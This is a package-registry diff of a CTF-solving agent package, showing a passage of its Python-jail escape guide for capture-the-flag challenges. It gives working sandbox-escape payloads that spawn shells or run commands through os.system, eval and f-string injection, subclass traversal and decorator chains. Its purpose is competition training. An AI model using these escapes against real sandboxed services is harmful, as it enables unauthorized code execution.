ctf-agent 1.2.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (152) hide show
  1. package/AGENTS.md +131 -0
  2. package/Dockerfile +192 -0
  3. package/README.md +522 -0
  4. package/agents/ctf-analyzer.md +58 -0
  5. package/agents/ctf-controller.md +151 -0
  6. package/agents/ctf-speedrun.md +74 -0
  7. package/bin/ctf-agent.js +119 -0
  8. package/docker-compose.yml +13 -0
  9. package/mcp_config.json +19 -0
  10. package/package.json +44 -0
  11. package/references/ctf-triage-ladder.md +68 -0
  12. package/references/exploit-databases.md +575 -0
  13. package/references/llm-safety-and-policy-compliance.md +173 -0
  14. package/references/multi-agent-orchestration-and-policy-routing.md +278 -0
  15. package/references/security-events-and-intelligence.md +566 -0
  16. package/references/version-matrix.md +59 -0
  17. package/rules/ctf-execution-rules.md +44 -0
  18. package/rules/ctf-safety-framing-rules.md +140 -0
  19. package/rules/flag-validation-rules.md +25 -0
  20. package/scripts/__init__.py +1 -0
  21. package/scripts/ctf-tools.lock +205 -0
  22. package/scripts/ctf_init.py +1026 -0
  23. package/scripts/ctf_update.py +583 -0
  24. package/scripts/ctfd_client.py +81 -0
  25. package/scripts/cve_lookup.py +453 -0
  26. package/scripts/extract_flags.py +155 -0
  27. package/scripts/install_as_agent.py +278 -0
  28. package/scripts/install_ctf_tools.sh +603 -0
  29. package/scripts/parallel_triage.py +395 -0
  30. package/scripts/prompt_policy_sanitizer.py +283 -0
  31. package/scripts/scope_guard.py +444 -0
  32. package/scripts/skill_validator.py +504 -0
  33. package/scripts/workspace_cleaner.py +141 -0
  34. package/skills/ctf-ai-ml/SKILL.md +120 -0
  35. package/skills/ctf-ai-ml/adversarial-ml.md +623 -0
  36. package/skills/ctf-ai-ml/llm-attacks.md +487 -0
  37. package/skills/ctf-ai-ml/model-attacks.md +422 -0
  38. package/skills/ctf-crypto/SKILL.md +320 -0
  39. package/skills/ctf-crypto/advanced-math.md +798 -0
  40. package/skills/ctf-crypto/classic-ciphers.md +651 -0
  41. package/skills/ctf-crypto/ecc-attacks.md +347 -0
  42. package/skills/ctf-crypto/exotic-crypto-2.md +380 -0
  43. package/skills/ctf-crypto/exotic-crypto.md +528 -0
  44. package/skills/ctf-crypto/historical.md +113 -0
  45. package/skills/ctf-crypto/lattice-and-lwe.md +524 -0
  46. package/skills/ctf-crypto/modern-ciphers-2.md +563 -0
  47. package/skills/ctf-crypto/modern-ciphers-3.md +453 -0
  48. package/skills/ctf-crypto/modern-ciphers.md +649 -0
  49. package/skills/ctf-crypto/prng-attacks.md +257 -0
  50. package/skills/ctf-crypto/prng.md +664 -0
  51. package/skills/ctf-crypto/rsa-attacks-2.md +792 -0
  52. package/skills/ctf-crypto/rsa-attacks.md +487 -0
  53. package/skills/ctf-crypto/stream-ciphers.md +390 -0
  54. package/skills/ctf-crypto/zkp-and-advanced.md +456 -0
  55. package/skills/ctf-forensics/3d-printing.md +121 -0
  56. package/skills/ctf-forensics/SKILL.md +379 -0
  57. package/skills/ctf-forensics/disk-advanced.md +497 -0
  58. package/skills/ctf-forensics/disk-and-memory.md +491 -0
  59. package/skills/ctf-forensics/disk-recovery.md +699 -0
  60. package/skills/ctf-forensics/linux-forensics.md +511 -0
  61. package/skills/ctf-forensics/network-advanced.md +583 -0
  62. package/skills/ctf-forensics/network.md +645 -0
  63. package/skills/ctf-forensics/peripheral-capture.md +287 -0
  64. package/skills/ctf-forensics/signals-and-hardware.md +713 -0
  65. package/skills/ctf-forensics/steganography.md +694 -0
  66. package/skills/ctf-forensics/stego-advanced-2.md +475 -0
  67. package/skills/ctf-forensics/stego-advanced.md +481 -0
  68. package/skills/ctf-forensics/stego-image.md +691 -0
  69. package/skills/ctf-forensics/windows.md +625 -0
  70. package/skills/ctf-malware/SKILL.md +181 -0
  71. package/skills/ctf-malware/c2-and-protocols.md +274 -0
  72. package/skills/ctf-malware/pe-and-dotnet.md +108 -0
  73. package/skills/ctf-malware/scripts-and-obfuscation.md +449 -0
  74. package/skills/ctf-misc/SKILL.md +498 -0
  75. package/skills/ctf-misc/bashjails.md +323 -0
  76. package/skills/ctf-misc/ctfd-navigation.md +465 -0
  77. package/skills/ctf-misc/dns.md +255 -0
  78. package/skills/ctf-misc/encodings-advanced.md +504 -0
  79. package/skills/ctf-misc/encodings.md +431 -0
  80. package/skills/ctf-misc/games-and-vms-2.md +254 -0
  81. package/skills/ctf-misc/games-and-vms-3.md +690 -0
  82. package/skills/ctf-misc/games-and-vms-4.md +229 -0
  83. package/skills/ctf-misc/games-and-vms.md +529 -0
  84. package/skills/ctf-misc/linux-privesc.md +333 -0
  85. package/skills/ctf-misc/pyjails.md +671 -0
  86. package/skills/ctf-misc/rf-sdr.md +91 -0
  87. package/skills/ctf-osint/SKILL.md +198 -0
  88. package/skills/ctf-osint/geolocation-and-media.md +464 -0
  89. package/skills/ctf-osint/social-media.md +312 -0
  90. package/skills/ctf-osint/web-and-dns.md +341 -0
  91. package/skills/ctf-pwn/SKILL.md +214 -0
  92. package/skills/ctf-pwn/advanced-exploits-2.md +579 -0
  93. package/skills/ctf-pwn/advanced-exploits-3.md +598 -0
  94. package/skills/ctf-pwn/advanced-exploits-4.md +590 -0
  95. package/skills/ctf-pwn/advanced-exploits-5.md +119 -0
  96. package/skills/ctf-pwn/advanced-exploits.md +773 -0
  97. package/skills/ctf-pwn/advanced.md +326 -0
  98. package/skills/ctf-pwn/field-notes.md +245 -0
  99. package/skills/ctf-pwn/format-string.md +694 -0
  100. package/skills/ctf-pwn/heap-fsop.md +285 -0
  101. package/skills/ctf-pwn/heap-techniques-2.md +333 -0
  102. package/skills/ctf-pwn/heap-techniques.md +513 -0
  103. package/skills/ctf-pwn/kernel-bypass.md +421 -0
  104. package/skills/ctf-pwn/kernel-techniques.md +366 -0
  105. package/skills/ctf-pwn/kernel.md +636 -0
  106. package/skills/ctf-pwn/overflow-basics.md +611 -0
  107. package/skills/ctf-pwn/rop-advanced.md +725 -0
  108. package/skills/ctf-pwn/rop-and-shellcode.md +659 -0
  109. package/skills/ctf-pwn/sandbox-escape.md +313 -0
  110. package/skills/ctf-reverse/SKILL.md +163 -0
  111. package/skills/ctf-reverse/anti-analysis-ctf.md +204 -0
  112. package/skills/ctf-reverse/anti-analysis.md +693 -0
  113. package/skills/ctf-reverse/field-notes.md +376 -0
  114. package/skills/ctf-reverse/languages-compiled.md +666 -0
  115. package/skills/ctf-reverse/languages-platforms.md +592 -0
  116. package/skills/ctf-reverse/languages.md +553 -0
  117. package/skills/ctf-reverse/patterns-ctf-2.md +397 -0
  118. package/skills/ctf-reverse/patterns-ctf-3.md +797 -0
  119. package/skills/ctf-reverse/patterns-ctf.md +670 -0
  120. package/skills/ctf-reverse/patterns-runtime.md +274 -0
  121. package/skills/ctf-reverse/patterns.md +572 -0
  122. package/skills/ctf-reverse/platforms-hardware.md +387 -0
  123. package/skills/ctf-reverse/platforms.md +664 -0
  124. package/skills/ctf-reverse/tools-advanced-2.md +421 -0
  125. package/skills/ctf-reverse/tools-advanced.md +407 -0
  126. package/skills/ctf-reverse/tools-dynamic.md +679 -0
  127. package/skills/ctf-reverse/tools-emulation.md +319 -0
  128. package/skills/ctf-reverse/tools.md +573 -0
  129. package/skills/ctf-web/SKILL.md +153 -0
  130. package/skills/ctf-web/auth-and-access-2.md +82 -0
  131. package/skills/ctf-web/auth-and-access.md +783 -0
  132. package/skills/ctf-web/auth-infra.md +321 -0
  133. package/skills/ctf-web/auth-jwt.md +186 -0
  134. package/skills/ctf-web/client-side-advanced.md +739 -0
  135. package/skills/ctf-web/client-side.md +529 -0
  136. package/skills/ctf-web/cves.md +373 -0
  137. package/skills/ctf-web/field-notes.md +482 -0
  138. package/skills/ctf-web/node-and-prototype.md +200 -0
  139. package/skills/ctf-web/server-side-2.md +337 -0
  140. package/skills/ctf-web/server-side-advanced-2.md +559 -0
  141. package/skills/ctf-web/server-side-advanced-3.md +125 -0
  142. package/skills/ctf-web/server-side-advanced-4.md +480 -0
  143. package/skills/ctf-web/server-side-advanced.md +378 -0
  144. package/skills/ctf-web/server-side-deser.md +443 -0
  145. package/skills/ctf-web/server-side-exec-2.md +799 -0
  146. package/skills/ctf-web/server-side-exec.md +457 -0
  147. package/skills/ctf-web/server-side.md +629 -0
  148. package/skills/ctf-web/sql-injection.md +790 -0
  149. package/skills/ctf-web/web3.md +374 -0
  150. package/skills/ctf-writeup/SKILL.md +90 -0
  151. package/skills/solve-challenge/SKILL.md +269 -0
  152. package/skills.json +16 -0
@@ -0,0 +1,671 @@
1
+ # CTF Misc - Python Jails
2
+
3
+ ## Table of Contents
4
+ - [Identifying Jail Type](#identifying-jail-type)
5
+ - [Systematic Enumeration](#systematic-enumeration)
6
+ - [Test Basic Features](#test-basic-features)
7
+ - [Test Blocked AST Nodes](#test-blocked-ast-nodes)
8
+ - [Brute-Force Function Names](#brute-force-function-names)
9
+ - [Oracle-Based Challenges](#oracle-based-challenges)
10
+ - [Binary Search](#binary-search)
11
+ - [Linear Search](#linear-search)
12
+ - [Building Strings Without Concat](#building-strings-without-concat)
13
+ - [Classic Escape Techniques](#classic-escape-techniques)
14
+ - [Via Class Hierarchy](#via-class-hierarchy)
15
+ - [Compile Bypass](#compile-bypass)
16
+ - [Unicode Bypass](#unicode-bypass)
17
+ - [Getattr Alternatives](#getattr-alternatives)
18
+ - [Walrus Operator Reassignment](#walrus-operator-reassignment)
19
+ - [Octal Escapes](#octal-escapes)
20
+ - [Magic Comment Escape](#magic-comment-escape)
21
+ - [Mastermind-Style Jails](#mastermind-style-jails)
22
+ - [Find Input Length](#find-input-length)
23
+ - [Find Characters](#find-characters)
24
+ - [Find Positions](#find-positions)
25
+ - [Server Communication](#server-communication)
26
+ - [Magic File ReDoS](#magic-file-redos)
27
+ - [Environment Variable RCE](#environment-variable-rce)
28
+ - [func_globals to Module Chain Traversal (PlaidCTF 2013)](#func_globals-to-module-chain-traversal-plaidctf-2013)
29
+ - [Restricted Charset Number Generation (PlaidCTF 2013)](#restricted-charset-number-generation-plaidctf-2013)
30
+ - [Multi-Stage Payload with Class Attribute Persistence (PlaidCTF 2013)](#multi-stage-payload-with-class-attribute-persistence-plaidctf-2013)
31
+ - [dir() Attribute Lookup Escape Bypassing __class__ Blocklist (InCTF 2018)](#dir-attribute-lookup-escape-bypassing-__class__-blocklist-inctf-2018)
32
+ - [Restricted vim Escape via K (man) to :!sh (TokyoWesterns CTF 4th 2018)](#restricted-vim-escape-via-k-man-to-sh-tokyowesterns-ctf-4th-2018)
33
+ - [Python Name Mangling and Attribute Access (Tokyo Westerns 2017)](#python-name-mangling-and-attribute-access-tokyo-westerns-2017)
34
+ - [Decorator-Based Escape (No Call, No Quotes, No Equals)](#decorator-based-escape-no-call-no-quotes-no-equals)
35
+ - [Technique 1: `function.__name__` as String Keys](#technique-1-function__name__-as-string-keys)
36
+ - [Technique 2: Name Extractor via getset_descriptor](#technique-2-name-extractor-via-getset_descriptor)
37
+ - [Technique 3: Accessing Real Builtins via \_\_loader\_\_](#technique-3-accessing-real-builtins-via-__loader__)
38
+ - [Full Exploit Chain](#full-exploit-chain)
39
+ - [How the Decorator Chain Works (Bottom-Up)](#how-the-decorator-chain-works-bottom-up)
40
+ - [Variations](#variations)
41
+ - [Constraints Checklist for This Technique](#constraints-checklist-for-this-technique)
42
+ - [When \_\_loader\_\_ Is Not Available](#when-__loader__-is-not-available)
43
+ - [Quine + Context Detection for Code Execution (BearCatCTF 2026)](#quine--context-detection-for-code-execution-bearcatctf-2026)
44
+ - [Restricted Character Repunit Decomposition (BearCatCTF 2026)](#restricted-character-repunit-decomposition-bearcatctf-2026)
45
+ - [Python eval() Jail Escape via Tuple Injection (Codegate 2018)](#python-eval-jail-escape-via-tuple-injection-codegate-2018)
46
+ - [Python f-string Config Injection via Stored eval (INShAck 2018)](#python-f-string-config-injection-via-stored-eval-inshack-2018)
47
+ - [Hints Cheat Sheet](#hints-cheat-sheet)
48
+
49
+ ---
50
+
51
+ ## Identifying Jail Type
52
+
53
+ **Error patterns reveal filtering:**
54
+
55
+ | Error Pattern | Meaning | Approach |
56
+ |---------------|---------|----------|
57
+ | `name not allowed: X` | Identifier blacklist | Unicode, hex escapes |
58
+ | `unknown function: X` | Function whitelist | Brute-force names |
59
+ | `node not allowed: X` | AST filtering | Avoid blocked syntax |
60
+ | `binop types must be int/bool` | Type restrictions | Use int operations |
61
+
62
+ ---
63
+
64
+ ## Systematic Enumeration
65
+
66
+ ### Test Basic Features
67
+ ```python
68
+ tests = [
69
+ ("1+1", "arithmetic"),
70
+ ("True", "booleans"),
71
+ ("'hello'", "string literals"),
72
+ ("'\\x41'", "hex escapes"),
73
+ ("1==1", "comparison"),
74
+ ]
75
+ ```
76
+
77
+ ### Test Blocked AST Nodes
78
+ ```python
79
+ blocked_tests = [
80
+ ("'a'+'b'", "string concat"),
81
+ ("'ab'[0]", "indexing"),
82
+ ("''.join", "attribute access"),
83
+ ("[1,2]", "lists"),
84
+ ("lambda:1", "lambdas"),
85
+ ]
86
+ ```
87
+
88
+ ### Brute-Force Function Names
89
+ ```python
90
+ import string
91
+ for c in string.printable:
92
+ result = test(f"{c}(65)")
93
+ if "unknown function" not in result:
94
+ print(f"FOUND: {c}()")
95
+ ```
96
+
97
+ ---
98
+
99
+ ## Oracle-Based Challenges
100
+
101
+ **Common functions:** `L()`, `Q(i, x)`, `S(guess)`
102
+ - `L()` = length of secret
103
+ - `Q(i, x)` = compare position i with value x
104
+ - `S(guess)` = submit answer
105
+
106
+ ### Binary Search
107
+ ```python
108
+ def find_char(i):
109
+ lo, hi = 32, 127
110
+ while lo < hi:
111
+ mid = (lo + hi) // 2
112
+ cmp = query(i, mid)
113
+ if cmp == 0:
114
+ return chr(mid)
115
+ elif cmp == -1: # mid < flag[i]
116
+ lo = mid + 1
117
+ else:
118
+ hi = mid - 1
119
+ return chr(lo)
120
+
121
+ flag_len = int(test("L()"))
122
+ flag = ''.join(find_char(i) for i in range(flag_len))
123
+ ```
124
+
125
+ ### Linear Search
126
+ ```python
127
+ for i in range(flag_len):
128
+ for c in range(32, 127):
129
+ if query(i, c) == 0:
130
+ flag += chr(c)
131
+ break
132
+ ```
133
+
134
+ ---
135
+
136
+ ## Building Strings Without Concat
137
+
138
+ ```python
139
+ # Hex escapes
140
+ "'\\x66\\x6c\\x61\\x67'" # => 'flag'
141
+
142
+ def to_hex_str(s):
143
+ return "'" + ''.join(f'\\x{ord(c):02x}' for c in s) + "'"
144
+ ```
145
+
146
+ ---
147
+
148
+ ## Classic Escape Techniques
149
+
150
+ ### Via Class Hierarchy
151
+ ```python
152
+ ''.__class__.__mro__[1].__subclasses__()
153
+ # Find <class 'os._wrap_close'>
154
+ ```
155
+
156
+ ### Compile Bypass
157
+ ```python
158
+ exec(compile('__import__("os").system("sh")', '', 'exec'))
159
+ ```
160
+
161
+ ### Unicode Bypass
162
+ ```python
163
+ eval = eval # Fullwidth characters
164
+ ```
165
+
166
+ ### Getattr Alternatives
167
+ ```python
168
+ "{0.__class__}".format('')
169
+ vars(''.__class__)
170
+ ```
171
+
172
+ ---
173
+
174
+ ## Walrus Operator Reassignment
175
+
176
+ ```python
177
+ # Reassign constraint variable
178
+ (abcdef := "all_allowed_letters")
179
+ ```
180
+
181
+ ### Octal Escapes
182
+ ```python
183
+ # \141 = 'a', \142 = 'b', etc.
184
+ all_letters = '\141\142\143...'
185
+ (abcdef := "{all_letters}")
186
+ print(open("/flag.txt").read())
187
+ ```
188
+
189
+ ---
190
+
191
+ ## Magic Comment Escape
192
+
193
+ ```python
194
+ # -*- coding: raw_unicode_escape -*-
195
+ \u0069\u006d\u0070\u006f\u0072\u0074 os
196
+ ```
197
+
198
+ **Useful encodings:**
199
+ - `utf-7`
200
+ - `raw_unicode_escape`
201
+ - `rot_13`
202
+
203
+ ---
204
+
205
+ ## Mastermind-Style Jails
206
+
207
+ **Output interpretation:**
208
+ ```text
209
+ function("aaa...") => "1 0" # 1 exists wrong pos, 0 correct
210
+ ```
211
+
212
+ ### Find Input Length
213
+ ```python
214
+ for length in range(1, 50):
215
+ result = test('a' * length)
216
+ print(f"len={length}: {result}")
217
+ ```
218
+
219
+ ### Find Characters
220
+ ```python
221
+ for c in charset:
222
+ result = test(c * SECRET_LEN)
223
+ if result[0] + result[1] > 0:
224
+ print(f"{c}: count={result[0] + result[1]}")
225
+ ```
226
+
227
+ ### Find Positions
228
+ ```python
229
+ known = ""
230
+ for pos in range(SECRET_LEN):
231
+ for c in candidate_chars:
232
+ test_str = known + c + 'Z' * (SECRET_LEN - len(known) - 1)
233
+ result = test(test_str)
234
+ if result[1] > len(known):
235
+ known += c
236
+ break
237
+ ```
238
+
239
+ ---
240
+
241
+ ## Server Communication
242
+
243
+ ```python
244
+ from pwn import *
245
+ context.log_level = 'error'
246
+
247
+ def test_with_delay(cmd, delay=5):
248
+ r = remote('host', port, timeout=20)
249
+ r.sendline(cmd.encode())
250
+ import time
251
+ time.sleep(delay)
252
+ try:
253
+ return r.recv(timeout=3).decode()
254
+ except:
255
+ return None
256
+ finally:
257
+ r.close()
258
+ ```
259
+
260
+ ---
261
+
262
+ ## Magic File ReDoS
263
+
264
+ **Evil magic file:**
265
+ ```text
266
+ 0 regex (a+)+$ Vulnerable pattern
267
+ ```
268
+
269
+ **Timing oracle:**
270
+ ```python
271
+ def measure(payload):
272
+ start = time.time()
273
+ requests.post(URL, data={'magic': payload})
274
+ return time.time() - start
275
+ ```
276
+
277
+ ---
278
+
279
+ ## Environment Variable RCE
280
+
281
+ ```bash
282
+ PYTHONWARNINGS=ignore::antigravity.Foo::0
283
+ BROWSER="/bin/sh -c 'cat /flag' %s"
284
+ ```
285
+
286
+ **Other dangerous vars:**
287
+ - `PYTHONSTARTUP` - executed on interactive
288
+ - `PYTHONPATH` - inject modules
289
+ - `PYTHONINSPECT` - drop to shell
290
+
291
+ ---
292
+
293
+ ## Decorator-Based Escape (No Call, No Quotes, No Equals)
294
+
295
+ **Pattern (Ergastulum):** `ast.Call` banned, no quotes, no `=`, no commas, charset `a-z0-9()[]:._@\n`. Exec context has `__builtins__={}` and `__loader__=_frozen_importlib.BuiltinImporter`.
296
+
297
+ **Key insight:** Decorators bypass `ast.Call` — `@expr` on `def name(): body` compiles to `name = expr(func)`, calling `expr` without an `ast.Call` node. This also provides assignment without `=`.
298
+
299
+ ### Technique 1: `function.__name__` as String Keys
300
+
301
+ Define a function to create a string matching a dict key:
302
+ ```python
303
+ def __builtins__(): # __builtins__.__name__ == "__builtins__"
304
+ 0
305
+ def exec(): # exec.__name__ == "exec"
306
+ 0
307
+ ```
308
+ Use as dict subscript: `some_dict[exec.__name__]` accesses `some_dict["exec"]`.
309
+
310
+ ### Technique 2: Name Extractor via getset_descriptor
311
+
312
+ `function_type.__dict__['__name__'].__get__` takes a function and returns its `.__name__` string. This enables chained decorators:
313
+
314
+ ```python
315
+ @dict_obj.__getitem__ # Step 2: dict["key_name"] → value
316
+ @func.__class__.__dict__[__name__.__name__].__get__ # Step 1: extract .__name__
317
+ def key_name(): # function with __name__ == "key_name"
318
+ 0
319
+ # Result: key_name = dict_obj["key_name"]
320
+ ```
321
+
322
+ ### Technique 3: Accessing Real Builtins via __loader__
323
+
324
+ ```python
325
+ __loader__.load_module.__func__.__globals__["__builtins__"]
326
+ ```
327
+ Contains real `exec`, `__import__`, `print`, `compile`, `chr`, `type`, `getattr`, `setattr`, etc.
328
+
329
+ ### Full Exploit Chain
330
+
331
+ ```python
332
+ # Step 1: Define helper functions for string key extraction
333
+ def __builtins__():
334
+ 0
335
+ def __name__():
336
+ 0
337
+ def __import__():
338
+ 0
339
+
340
+ # Step 2: Extract real __import__ from loader's globals
341
+ # Equivalent to: __import__ = globals_dict["__builtins__"]["__import__"]
342
+ @__loader__.load_module.__func__.__globals__[__builtins__.__name__].__getitem__
343
+ @__builtins__.__class__.__dict__[__name__.__name__].__get__
344
+ def __import__():
345
+ 0
346
+
347
+ # Step 3: Import os module
348
+ # Equivalent to: os = __import__("os")
349
+ @__import__
350
+ @__builtins__.__class__.__dict__[__name__.__name__].__get__
351
+ def os():
352
+ 0
353
+
354
+ # Step 4: Get a shell
355
+ # Equivalent to: sh = os.system("sh")
356
+ @os.system
357
+ @__builtins__.__class__.__dict__[__name__.__name__].__get__
358
+ def sh():
359
+ 0
360
+ ```
361
+
362
+ ### How the Decorator Chain Works (Bottom-Up)
363
+
364
+ ```python
365
+ @outer_func
366
+ @inner_func
367
+ def name():
368
+ 0
369
+ ```
370
+ Executes as: `name = outer_func(inner_func(function_named_name))`
371
+
372
+ For the `__import__` extraction:
373
+ 1. `__builtins__.__class__` → `<class 'function'>` (type of our defined function)
374
+ 2. `.__dict__[__name__.__name__]` → `function.__dict__["__name__"]` → getset_descriptor
375
+ 3. `.__get__` → descriptor's getter (takes function, returns its `.__name__` string)
376
+ 4. Applied to `def __import__(): 0` → returns string `"__import__"`
377
+ 5. `globals_dict["__builtins__"].__getitem__("__import__")` → real `__import__` function
378
+
379
+ ### Variations
380
+
381
+ **Execute arbitrary code via exec + code object:**
382
+ ```python
383
+ def __code__():
384
+ 0
385
+ @exec_function
386
+ @__builtins__.__class__.__dict__[__code__.__name__].__get__
387
+ def payload():
388
+ ... # code to execute (still subject to charset/AST restrictions)
389
+ ```
390
+
391
+ **Import any module by name:**
392
+ ```python
393
+ @__import__
394
+ @__builtins__.__class__.__dict__[__name__.__name__].__get__
395
+ def subprocess(): # or any valid module name using allowed chars
396
+ 0
397
+ ```
398
+
399
+ ### Constraints Checklist for This Technique
400
+
401
+ - [x] No `ast.Call` nodes (decorators are `ast.FunctionDef` with decorator_list)
402
+ - [x] No quotes (strings from `function.__name__`)
403
+ - [x] No `=` sign (decorators provide assignment)
404
+ - [x] No commas (single-argument decorator calls)
405
+ - [x] No `+`, `*`, operators (pure attribute/subscript chains)
406
+ - [x] Works with empty `__builtins__` (accesses real builtins via `__loader__`)
407
+
408
+ ### When __loader__ Is Not Available
409
+
410
+ If `__loader__` isn't in scope but you have any function object `f`:
411
+ - `f.__class__` → function type
412
+ - `f.__globals__` → module globals where `f` was defined
413
+ - `f.__globals__["__builtins__"]` → real builtins (if `f` is from a normal module)
414
+
415
+ If you have a class `C`:
416
+ - `C.__init__.__globals__` → globals of the module defining `C`
417
+
418
+ **References:** 0xL4ugh CTF 2025 "Ergastulum" (442pts, Elite), GCTF 2022 "Treebox"
419
+
420
+ ---
421
+
422
+ ## Quine + Context Detection for Code Execution (BearCatCTF 2026)
423
+
424
+ **Pattern (The Boy is Quine):** Server asks for a quine (program that prints its own source code), validates it by running in a subprocess, then `exec()`s it in the main process with different globals.
425
+
426
+ **Exploit:** Build a dual-purpose quine that:
427
+ 1. Prints itself (passes quine validation in subprocess)
428
+ 2. Executes payload only in the server process (detected via globals difference)
429
+
430
+ ```python
431
+ # Context gate: "subprocess" module exists in server globals but not in subprocess
432
+ s='s=%r;print(s%%s,end="");__import__("os").system("cat /app/flag.txt")if"subprocess"in globals()else 0';print(s%s,end="");__import__("os").system("cat /app/flag.txt")if"subprocess"in globals()else 0
433
+ ```
434
+
435
+ **Key insight:** `exec()` in the server process inherits the server's globals (imported modules like `subprocess`), while the subprocess validation has a clean environment. Use `"module_name" in globals()` or `"module_name" in dir()` as a gate to distinguish contexts. The quine structure `s='s=%r;...';print(s%s,end="")` is the classic Python quine pattern.
436
+
437
+ ---
438
+
439
+ ## Restricted Character Repunit Decomposition (BearCatCTF 2026)
440
+
441
+ **Pattern (The Brig):** Pick exactly 2 characters for your entire expression. Server evaluates `eval(long_to_bytes(eval(expr)))` — the outer eval runs the decoded Python code.
442
+
443
+ **Strategy:** Choose `1` and `+`. Decompose the target integer into a sum of repunits (111, 1111, 11111, etc.):
444
+ ```python
445
+ from Crypto.Util.number import bytes_to_long
446
+
447
+ target = bytes_to_long(b'eval(input())') # → 13-byte integer
448
+
449
+ def repunit(k):
450
+ return (10**k - 1) // 9 # 111...1 with k digits
451
+
452
+ terms = []
453
+ remaining = target
454
+ while remaining > 0:
455
+ k = 1
456
+ while repunit(k + 1) <= remaining:
457
+ k += 1
458
+ terms.append('1' * k)
459
+ remaining -= repunit(k)
460
+
461
+ expr = '+'.join(terms) # e.g., "111...1+111...1+11+1+1"
462
+ # len(expr) ≈ 2561 chars (fits 4096 limit)
463
+ ```
464
+
465
+ **Key insight:** Any positive integer can be written as a sum of repunits (numbers like 1, 11, 111, ...). The greedy algorithm produces ~O(log²(n)) terms. This converts a 2-character constraint into arbitrary code execution via `long_to_bytes()`. On the second unrestricted prompt, run `open('/flag.txt').read()`.
466
+
467
+ **Detection:** Challenge restricts input character set to exactly 2 characters. Double-eval pattern (`eval(decode(eval(...)))`).
468
+
469
+ ---
470
+
471
+ ## Python eval() Jail Escape via Tuple Injection (Codegate 2018)
472
+
473
+ When the server does `eval("your." + input + "()")`, inject a tuple to execute arbitrary code:
474
+
475
+ ```python
476
+ # Server code: eval("your." + user_input + "()")
477
+ # Inject: dig(),eval(eval('raw\x5finput()')),
478
+ # Becomes: eval("your.dig(),eval(eval('raw\x5finput()')),()")
479
+ # = tuple of (your.dig(), eval(arbitrary), None)
480
+
481
+ # Alternative: inject payload via Name variable during registration
482
+ # Name = "__import__('os').system('/bin/sh')"
483
+ # Input: dig(),eval(name),exit
484
+ # eval("your.dig(),eval(name),exit()") -> executes payload from name
485
+ ```
486
+
487
+ **Key insight:** Python `eval()` on a comma-separated expression creates a tuple, allowing multiple expressions to execute. `\x5f` hex escapes bypass underscore blacklists. When direct code injection is blocked, store payload in a variable (registration name, environment) and reference it via `eval(varname)` in the eval context. The general pattern: if the server wraps your input in `eval("prefix" + input + "suffix")`, use commas to break out of the intended expression and inject additional expressions as tuple elements.
488
+
489
+ ---
490
+
491
+ ## Python f-string Config Injection via Stored eval (INShAck 2018)
492
+
493
+ **Pattern:** A config creator uses Python f-strings to render values. Store a payload as one config value, then reference it from another using eval(). Register key "a" with value `__import__("os").system("cat flag")`, then key "eval(a)" with value "{}".
494
+
495
+ ```python
496
+ # Step 1: Store payload as config value
497
+ register_key("a", '__import__("os").system("cat flag.txt")')
498
+
499
+ # Step 2: Create key whose name is eval(a) with empty format placeholder
500
+ register_key("eval(a)", "{}")
501
+
502
+ # Step 3: When config renders f"eval(a) = {value}",
503
+ # the f-string evaluates eval(a) in the key position,
504
+ # executing the stored payload
505
+ show_config() # triggers f-string rendering -> RCE
506
+ ```
507
+
508
+ **Key insight:** Python f-strings evaluate expressions in curly braces at render time. If config keys or values are rendered in f-strings, storing `eval(stored_key)` as a key name causes arbitrary code execution when the config is displayed. Two-step: store payload as value, reference via eval in key name.
509
+
510
+ ---
511
+
512
+ ## Hints Cheat Sheet
513
+
514
+ | Hint | Meaning |
515
+ |------|---------|
516
+ | "I love chars" | Single-char functions |
517
+ | "No words" | Multi-char blocked |
518
+ | "Oracle" | Query functions to leak |
519
+ | "knight/chess" | Mastermind game |
520
+
521
+ ---
522
+
523
+ ## func_globals to Module Chain Traversal (PlaidCTF 2013)
524
+
525
+ **Pattern:** Access `os.system` through the `func_globals` dictionary of a loaded class's method, without importing any modules.
526
+
527
+ ```python
528
+ # Step 1: Find catch_warnings in subclass list (commonly index 49 or 59)
529
+ [x for x in ().__class__.__base__.__subclasses__()
530
+ if x.__name__ == "catch_warnings"][0]
531
+
532
+ # Step 2: Access func_globals via __init__ or __repr__
533
+ g = ().__class__.__base__.__subclasses__()[59].__init__.func_globals
534
+ # Python 2: .__init__.im_func.func_globals
535
+ # Python 3: .__init__.__globals__
536
+
537
+ # Step 3: Traverse module chain: warnings → linecache → os
538
+ g["linecache"].__dict__["os"].system("cat /flag.txt")
539
+
540
+ # One-liner:
541
+ ().__class__.__base__.__subclasses__()[59].__init__.__globals__["linecache"].__dict__["os"].system("id")
542
+ ```
543
+
544
+ **Key insight:** The `warnings.catch_warnings` class is almost always loaded. Its `__init__.__globals__` contains a reference to `linecache`, which imports `os`. This chain avoids direct `import` statements. The subclass index varies by Python version — enumerate with `[(i,x.__name__) for i,x in enumerate(''.__class__.__mro__[1].__subclasses__())]`.
545
+
546
+ ---
547
+
548
+ ## Restricted Charset Number Generation (PlaidCTF 2013)
549
+
550
+ **Pattern:** Generate arbitrary integers using only `~` (bitwise NOT), `<<` (left shift), `[]<[]` (False=0), and `{}<[]` (True=1) when numeric literals are forbidden.
551
+
552
+ ```python
553
+ def brainfuckize(nb):
554
+ """Convert integer to expression using only ~, <<, <, [], {}"""
555
+ if nb == -2: return "~({}<[])" # ~True = -2
556
+ if nb == -1: return "~([]<[])" # ~False = -1
557
+ if nb == 0: return "([]<[])" # False = 0
558
+ if nb == 1: return "({}<[])" # True = 1
559
+ if nb % 2: return f"~{brainfuckize(~nb)}" # Odd: ~(complement)
560
+ return f"({brainfuckize(nb//2)}<<({{}}<[]))" # Even: half << 1
561
+
562
+ # brainfuckize(65) → "(~(~([]<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))"
563
+ # Then use: "%c" % 65 → "A"
564
+ ```
565
+
566
+ **Key insight:** Combine with `"%c" % ascii_value` to build arbitrary strings character by character. This bypasses jails that strip all alphanumeric characters while allowing operators and brackets.
567
+
568
+ ---
569
+
570
+ ## Python Name Mangling and Attribute Access (Tokyo Westerns 2017)
571
+
572
+ Three sandbox escape vectors that exploit Python's name visibility model.
573
+
574
+ **1. Name mangling bypass:** Python "private" `__method` names in a class are stored as `_ClassName__method`. They are accessible via `dir()` and `getattr()` — not truly private.
575
+
576
+ ```python
577
+ # Name mangling bypass
578
